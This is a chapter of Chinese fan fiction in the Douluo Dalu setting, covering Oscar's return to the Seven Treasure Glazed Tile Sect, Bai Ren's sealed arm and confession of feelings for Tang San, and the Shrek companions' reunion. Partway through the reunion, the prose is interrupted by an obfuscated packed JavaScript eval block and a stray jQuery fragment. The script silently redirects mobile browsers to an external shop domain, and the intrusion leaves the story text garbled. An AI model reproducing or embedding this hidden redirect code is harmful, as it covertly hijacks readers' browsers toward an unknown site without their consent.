七宝琉璃宗遭袭后的次日清晨,山门外仍残留着尚未清理干净的战斗痕迹。
靠近外围的半片山林被剑光与空间力量撕开,折断的树木横在山坡间,破损石墙旁堆着刚刚拆下的血色阵石。宗门弟子沿山道来回运送药物,另一侧临时搭建的营地里,则安置着从血阵中救下的武魂殿魂师。
奥斯卡站在山门外,看着眼前与记忆中截然不同的七宝琉璃宗,许久没有向前。
守门弟子最初并未认出他。五年时间令他的身形高大许多,脸上多了一道从左眼下方延伸至下颌的伤疤,曾经总显得有些轻浮的桃花眼也被风雪与生死磨去了大半笑意。直到他取出宁荣荣临别时交给自己的令牌,负责守门的人才神情一变,立即派人进入宗门通报。
奥斯卡原本以为最先得到的会是宁荣荣的消息。
前来接他的人却告诉他,宁荣荣昨日去了史莱克学院,宁风致已经送信通知她宗门遭袭。除此之外,还有一个人比她更早回到了七宝琉璃宗。
听见白仞的名字时,奥斯卡脸上的神情明显一滞。
“他在哪里?”
宗门弟子将他带向后山。
白仞所在的静室位于一片未被战斗波及的竹林深处,门外同时守着两名宗门长老。奥斯卡经过检查后被允许进入,推门时,屋中正安静得只能听见窗外竹叶相撞的轻响。
白仞坐在窗边。
五年过去,他的外貌变化没有唐三那样彻底,却也与当年离开学院时相差许多。浅金至银白的长发垂过肩背,身形已经完全长开,曾经属于少年的冷冽轮廓也更加清晰。左臂被宽大的衣袖遮住,始终垂在身侧,只有右手正将一份七宝琉璃宗整理出的伤员记录翻到最后。
他抬起头,看见门前的人时,目光在那道伤疤上停了片刻。
“奥斯卡?”
“我还以为你认不出来。”奥斯卡站在门口笑了一下,声音却比从前哑了不少,“毕竟我现在可比以前有男人味多了。”
白仞将手中的记录放下:“你以前也经常这么说。”
一句与过去没有任何区别的回答,让两人之间隔着的五年骤然缩短。
奥斯卡快步走进来,一拳锤在白仞右肩上。力道并不重,却带着确认人真正坐在这里的意味。白仞身体随着那一下轻轻晃动,又抬起右手在他肩上拍了一下。
奥斯卡本想顺势抱住他,手臂刚伸出去,便发现白仞的左手始终没有任何动作。他脸上的笑意立即淡去,低头看向那只被衣袖遮住的手臂:“怎么回事?”
“封住了。”白仞没有隐瞒,“我把在七宝琉璃宗上血阵倒流的力量暂时引进了左臂。短时间内不能使用。”
奥斯卡已经伸手碰到衣袖外侧,又在真正接触以前停住。他能够感觉到那条手臂中没有正常魂力波动,肩部以下几乎像一截与身体失去联系的死物。
“短时间是多久?”
“不确定。”
奥斯卡盯着他看了片刻,最终收回手:“五年没见,你倒是越来越会把大事说得像小伤。”
白仞看向他脸上的伤疤:“你也是。”
“这个?”奥斯卡摸了一下左脸,重新在桌边坐下,“比你的手轻多了。被魂兽抓了一下,脸还在,眼睛也没瞎,只是以后靠长相骗吃骗喝困难了一点。”
白仞没有接受他这套轻描淡写的说法,却也知道能够在奥斯卡身上留下这样一道伤痕的经历,不可能只是一句“被魂兽抓了一下”便能概括。
桌边很快多了一壶热茶。
两名曾经共同住了多年宿舍的人隔桌坐着,奥斯卡从离开七宝琉璃宗后的第一条路说起。他最初向北行走,跟随过商队,也加入过临时猎魂队。食物系魂师在任何队伍里都容易受到欢迎,真正遇见危险时却依旧是最先被安排撤退的人。
他不愿再回到原来的位置,于是学习近身兵器、暗器和野外追踪,也在一次次猎魂中寻找能够改变食物系魂师战斗方式的魂兽。
最终,他在极北边缘找到了一头适合自己的镜影兽。
“第六魂技,复制镜像肠。”奥斯卡说到这里时,脸上才真正显出一点属于从前的得意,“只要得到对方一滴血,我便能暂时复制他的武魂和大部分魂技。效果肯定比不上原本的人,但至少以后敌人冲过来时,我不用只站着等谁回来救我。”
那道贯穿面部的伤痕,也是在猎杀镜影兽时留下。同行的队伍几乎全灭,奥斯卡靠提前准备的香肠与暗器撑到最后,才终于得到这枚魂环。
白仞听完后沉默了一会儿,随后说道:“你找到想走的路了。”
“只能算刚刚找到入口。”奥斯卡端起茶杯,指腹在杯沿上缓慢摩挲,“不过至少能回来见她。”
这个“她”不需要再说名字。
奥斯卡离开前与宁荣荣发生过什么,白仞从当年的信件和分别时的反应里便能猜出大半。他没有催促,等奥斯卡自己继续说下去。
“我走的时候,荣荣让我五年后先回史莱克。她说哪怕什么都没有找到,也必须让她知道我还活着。”奥斯卡看着杯中轻轻晃动的茶水,语气逐渐慢下来,“我原本确实准备直接去学院,可走到天斗城附近后,听说七宝琉璃宗出事,便先赶了回来。”
他一路上已经想过许多次重逢后的场面。
宁荣荣可能会哭,也可能会先骂他一顿。她也可能已经接受宗门安排,不再愿意等一个五年没有传回任何消息的人。奥斯卡曾经相信她不会变,真正距离宗门越来越近时,仍然无法控制这些念头。
“她没有等错。”白仞说道。
奥斯卡抬眼看他。
“你回来了,也找到了自己想要的东西。”白仞右手压在桌面上,神情认真,“剩下的应该由她自己判断。”
奥斯卡看了他片刻,忽然笑了一声:“五年过去,你安慰人的方式还是这么直接。”
“有用就够了。”
“有用。”奥斯卡承认得很快。他将杯中茶水喝完,又向后靠进椅背,“我的事差不多都说了。轮到你了。”
白仞的经历远比奥斯卡预想中更长。
他从留在武魂城稳定双翼说起,两年后离开那里,进入杀戮之都,在那座无法使用魂技的城市中重新遇见唐三。两人后来共同穿过地狱路,又在月轩生活了一年。离开以后,他们各自回到必须面对的地方,直到七宝琉璃宗外的血阵提前发动,才让白仞错过五年之约。
神考和武魂殿的事,白仞也只是简单带过。奥斯卡也没有追问那些明显不能轻易告诉旁人的细节,只在听见白仞与唐三早已重逢时挑起眉梢。
“所以你们两个已经在一起待了两年多?”
“中间分开过。”
“那也比我们知道的多。”奥斯卡算了算时间,语气逐渐变得古怪,“你们这五年过得倒挺完整。”
白仞听出他话中另有所指,却没有立即接下去。
静室中安静片刻。
左臂深处的封印仍在缓慢压制暗红污染,第七魂环带回的记忆与情绪也没有完全沉入武魂。那段在天使第九考中重新浮现的画面依旧过于清晰,以至于白仞每次想到唐三,都会同时想起千仞雪曾经向幻象靠近的那一刻。
可真正令他无法忽略的,是那些只属于这一世的相伴。那份感情并不需要再由千仞雪的记忆替他解释。
奥斯卡等了一会儿,发现白仞一直没有说话,脸上的玩笑慢慢收敛:“你们之间还发生了什么?”
白仞抬起右手,指腹在茶杯外侧停了片刻。
“我觉得……”他很少在开口前迟疑这么久,最终仍将那个判断说了出来,“我对唐三的感情,可能和兄弟不一样。”
奥斯卡怔了短短一瞬。
下一刻,他抬起双手,用力拍了一下。
清脆响声在静室里格外明显。
白仞看向他:“你做什么?”
“庆祝你终于发现。”奥斯卡脸上的表情不像惊讶,反而像等了许多年以后终于听见一句早该出现的话,“我当年就觉得你们两个不对劲,荣荣发现得比我还早。”
白仞眉间轻轻皱起:“什么时候?”
“这怎么说得清?”奥斯卡坐直身体,开始替他翻旧账,“唐三对我们是很好,也确实会担心每个人。可他什么时候像盯着你一样盯着别人?”
“他担心我的武魂失控。”
“你自己信吗?”奥斯卡毫不客气地反问,“你还是白雪的时候,他连身份都没确认,眼睛已经快长在你身上了。你躲他,他便一直看;你跟别人说话,他也要留意;后来终于认出你,恨不得你走到哪儿都在他的蓝银草范围里。”
白仞想要解释那些反应都与六年失踪和死亡残影有关,奥斯卡却根本没有给他组织理由的时间。
“还有替胖子报仇那次。”奥斯卡一提到这件事便忍不住笑,“你重新穿上白雪的衣服,唐三从商量计划开始便反复强调不能让不乐碰到你。胖子挨了二十多脚,他都没你一片裙角差点被碰到时紧张。打完以后,他还当着我们的面替你理头发,一路盯着你看。”
“他不习惯我那样打扮。”
“所以呢?”奥斯卡摊开手,“他不习惯,你便立刻答应回去换掉。换成胖子说不习惯,你会理他吗?”
白仞没有回答。
“唐三的占有欲都明显成那样了,你还很自然地接受。”奥斯卡看着他难得被问住的样子,越发确定自己的判断,“你们两个一个觉得管着对方理所当然,一个也觉得被管着很正常。荣荣当年便说,这根本不是普通兄弟。”
白仞指腹从杯沿上缓慢移开。
他并不认为这些便能证明唐三对自己抱有相同感情。唐三在关系上的边界一向迟钝,很多行为连他自己都未必真正意识到意味着什么。可奥斯卡所说的那些事情,他过去也确实从未觉得需要拒绝。
唐三会替他重新系好红绳,会检查经脉,会在他失控时守在最近的位置。白仞接受这一切时,从来没有把它们与其他伙伴给予的关心放在一起比较。
“我可没说他已经弄清楚自己怎么想。”奥斯卡看出他的沉默,终于收敛几分玩笑,“唐三那个人,有些事情看得比谁都明白,轮到自己便未必。至于他究竟把这份关系看成什么,得由他自己想明白。”
白仞看向窗外。
竹林间的阳光落进静室,在桌面留下细碎光影。他已经确认自己的感情,不代表一定要立刻得到唐三的回应,更不可能因为奥斯卡几句话便替另一个人下定论。
“我知道。”他说。
奥斯卡观察着他的神情,忽然觉得自己刚才那些调侃或许没有想象中那么轻松。他正准备再说些什么,门外已经传来脚步声。
宁风致从外面进来时,手中拿着一封刚刚整理好的伤员记录,放到了桌上。
他先看了一眼已经空下来的茶壶,又确认白仞的左臂没有继续恶化,才对奥斯卡说道:“荣荣目前在史莱克学院。我已经派人送信过去,告诉她你已经回来,也说明了宗门昨日遭袭。按照距离,他们今日午后便能抵达。”
奥斯卡刚刚还能够谈笑的神情明显僵住。
“昨夜已经分别向教皇殿与供奉殿送出急信。按最快速度,消息明日才能抵达武魂城。在那边作出安排以前,这些人还要暂时留在宗门。”
白仞翻开记录。
六千名幸存魂师中,又有数十人在夜间因经脉与血印反噬死亡。四名封号斗罗已经清醒,却无法正常使用武魂。残留在他们体内的根印没有被彻底清除,任何强行调动魂力的行为,都可能令根印再次活跃,重新侵蚀武魂与经脉。
“主祭还没有消息?”白仞问。
宁风致摇头:“剑叔沿着你指出的方向追查过,根线在数十里外彻底断开。对方提前准备了不止一个中转阵,舍弃那些邪魂师以后,便再没有留下能够继续追踪的气息。”
白仞左肩深处忽然传来一阵极轻震动。
封在神装中的暗红污染似乎感应到什么,又很快重新沉寂。他低头看了一眼无法活动的左手,没有在这时贸然触碰封印。
午后,负责守卫山门的弟子传回消息。
史莱克一行人到了。
宁荣荣几乎是在马车停稳以前便跳了下来。
七宝琉璃宗外围的破坏远比信中所写更加严重。她看见断裂的山门、仍在运送的伤员和宗门弟子衣服上尚未洗净的血迹,脸色很快变得苍白。宁风致早已等在前方,宁荣荣冲过去确认父亲没有受伤,又转头在人群间急切寻找。
奥斯卡就站在数步之外。
五年时间令他变得太多。
宁荣荣第一眼甚至没有认出那道脸上带着伤疤的高大身影,直到奥斯卡从衣襟内取出那块刻着她名字的令牌,她的脚步才猛地停住。
奥斯卡握着令牌,看着五年后出落得更加美丽的宁荣荣,原本准备了一路的话忽然全都失去作用。
“荣荣。”
宁荣荣眼中的泪水几乎在声音落下的同时涌出。她快步越过最后的距离,抬手便重重打在奥斯卡胸前。
一下以后还不够。
她又接连打了数次,拳头落得又急又乱,声音也彻底失去平日属于少宗主的克制:“五年!你一次消息都没有!我甚至不知道你到底去了哪里!”
奥斯卡没有躲,也没有抓住她的手,只站在那里承受。直到宁荣荣的力道逐渐变弱,他才抬起双臂,将人紧紧抱进怀中。
宁荣荣挣扎了一下,最终却反过来抓住他背后的衣服,哭得几乎说不出完整的话。奥斯卡将脸埋进她发间,手臂收得越来越紧,像是直到此刻才真正确定,自己从极北与无数次生死中带回来的那条命终于有了归处。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777768|208369||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我回来了。”他反复说着这句话,“荣荣,我回来了。”
宁荣荣抬手触到他脸上的伤疤,指尖明显颤了一下。她想问这道伤怎么来的,也想问他还有多少地方受过伤,最后却只抓紧他的衣领,将人重新拉回怀中。
周围没有人催促。
戴沐白和朱竹清站在一旁,马红俊眼眶发红,嘴上却仍低声抱怨小奥回来以后居然比自己高了。弗兰德摘下眼镜擦了几次,大师与柳二龙则先向宁风致确认宗门伤亡。
唐三的注意力已经越过重逢的两人,落向更后方。
白仞站在山道旁。
小舞比唐三更快一步。她看清那头浅金至银白的长发时,便直接从人群间冲了过去,一把抱住白仞。
“二哥!”
白仞被她撞得身体微微后退,左臂依旧无法抬起,只能用右手环住小舞肩背,将这个五年未见的妹妹稳稳接住。
小舞抓着他的衣服,确认眼前的人真实存在后,五年来一直压着的委屈立刻涌了出来:“你答应过五年后回来,结果我们等了整整两天。连小奥都到了,你还是一点消息都没有。”
“路上出了意外。”白仞右手在她背后轻轻拍了两下,“对不起。”
小舞原本还准备继续责怪,身体却很快察觉到他回抱的动作有些不自然。她从白仞怀中退开,视线落到始终垂在身侧的左臂:“你的手怎么了?”
唐三已经走到两人面前。
从看见白仞的第一刻起,他便注意到那只手臂没有随着步伐摆动。宽大衣袖下也感受不到正常的魂力流转,整条左臂从肩部以下都被某种力量完全封闭。
白仞刚转过脸,唐三已经握住了他的左手。
掌心相触的瞬间,白仞身体明显僵了一下。
唐三没有察觉那一瞬变化背后的真正原因。他只以为白仞又想隐瞒伤势,一缕玄天功魂力已经顺着掌心进入手腕。魂力刚刚触及皮肤下方,便被一层白金与暗红交叠的封印完全挡住。
那道阻隔没有反击,却不允许任何外来力量进入。
唐三眉间立即收紧:“里面封了什么?”
“血阵倒流的污染。”白仞的视线在两人交握的手上停了一瞬,很快又移向别处,“暂时不能打开。”
他已经与唐三有过远比握手更近的接触。在冰火两仪眼共同修炼,在地狱路互相支撑,甚至在月轩舞池中相拥时,白仞都不曾像现在这样不知该把目光放在哪里。
过去的每一次接触都能够用修炼、救援或舞步解释。
如今他已经知道自己的感情,再看见唐三近在眼前的眉眼,所有本来习以为常的动作都像突然拥有了另一层意义。
唐三见他再次避开目光,心中的担忧反而更重。
分别前,白仞曾答应无法赴约便先送出消息,也答应不会独自承担无法控制的危险。如今两件事都没有做到,见面以后还像在刻意回避自己。
“你又在躲什么?”唐三没有松开他的手腕,声音压得不重,却带着无法忽略的认真。
白仞被问得停了一下:“没有躲。”
唐三显然不信。
“左臂的事我会解释。”白仞知道自己此刻的反应确实很难取信于人,只能先把能够说清楚的部分交代出来,“封印不能由外部强行打开,污染还没有净化,输入魂力可能重新激活根印。”
唐三将探查魂力收回,手却仍停在他腕间。他低头确认暗红纹路没有越过袖口,才问道:“有知觉吗?”
“肩部有,手臂没有。”
“多久能恢复?”
“不知道。”
这个答案令唐三的眉头皱得更紧。白仞看见以后,下意识想告诉他左臂暂时不会危及性命,话到嘴边又想起奥斯卡不久前才说过,自己越来越擅长把大事说成小伤。
小舞已经抓住白仞右侧衣袖:“二哥,这次你不许一句‘没事’便算了。有没有事得哥给你检查完再说。”
“你们什么时候商量好的?”
“刚才。”小舞回答得理直气壮。
马红俊与戴沐白也在此时走近。
五年后的重逢远没有想象中从容。马红俊先用力抱了白仞一下,差点牵动左肩封印,被戴沐白一把从后面拉开;朱竹清站在旁边确认白仞脸色尚可,才简短说了一句“回来就好”。
弗兰德走到最后。
他从白仞的左手看到肩部,又看了一眼身后被毁去大半的宗门外围,原本准备好的训斥终究没有立刻出口。只在经过时抬起手,用力揉乱了那头已经长至腰后的头发。
“一个两个都长本事了。”弗兰德收回手,语气仍像五年前那样,“回来不是换脸就是少条能动的胳膊,真有你们的。”
白仞没有整理被揉乱的头发,只向几位老师逐一行礼。左手无法动作,他便只用右手完成。大师看见那条被封住的手臂时神情已经变得凝重,却没有在山门前直接展开检查。
宁风致让众人先进入宗门。
七宝琉璃宗有太多地方需要重新修整,能够使用的议事厅也只剩靠近后山的一处。众人落座以后,奥斯卡与宁荣荣仍坐得极近,宁荣荣的手一直抓着他的衣袖,像是稍微松开,人便会再次消失五年。
简单叙旧没有持续太久。
戴沐白等人的经历,唐三已经在史莱克学院听过,也简单给奥斯卡和白仞重新说了一遍。奥斯卡只用几句话介绍了自己的第六魂技,马红俊立刻要求他复制凤凰火焰试一次,被奥斯卡以“你的血太油”为由拒绝。小舞则坐在白仞右侧,将自己这些年在星斗大森林历练的说法重新讲了一遍。
白仞没有拆穿。
唐三坐在另一侧,视线大部分时间都落在白仞左臂上。白仞偶尔与他对视,又会很快移开。这样的反应发生过几次以后,唐三已经确定,那并不完全是伤势造成。
他暂时没有当着所有人追问。
宁风致简要说明了昨日的情况。近万名武魂殿魂师被预先种下血印,四名封号斗罗沦为阵眼,整支队伍最终在宗门外化成血阵。白仞提前示警,又与剑斗罗、骨斗罗破坏外围节点,才让宗门弟子及时撤离;主祭却在阵法崩溃前切断根线逃走。
宁风致将一张绘有暗红根印的纸放到桌面中央:“目前能够确认,杀戮之都崩毁以后,已经有一批邪魂师在暗中聚集。他们使用不同武魂,血印核心却完全相同。”
大师接过图纸,仔细查看那道从心脉向外延伸的根状纹路。唐三也走到桌边,紫极魔瞳从纹路结构上缓慢扫过。
白仞正准备说明自己在武魂城查到的线索,议事厅外忽然传来急促脚步声。
一名负责宗门情报的中年魂师快步进入。他衣摆沾满泥水,肩头还留着飞行魂技过度使用后的擦伤,显然一路没有停下休息。
“宗主,蓝电霸王龙家族急报。”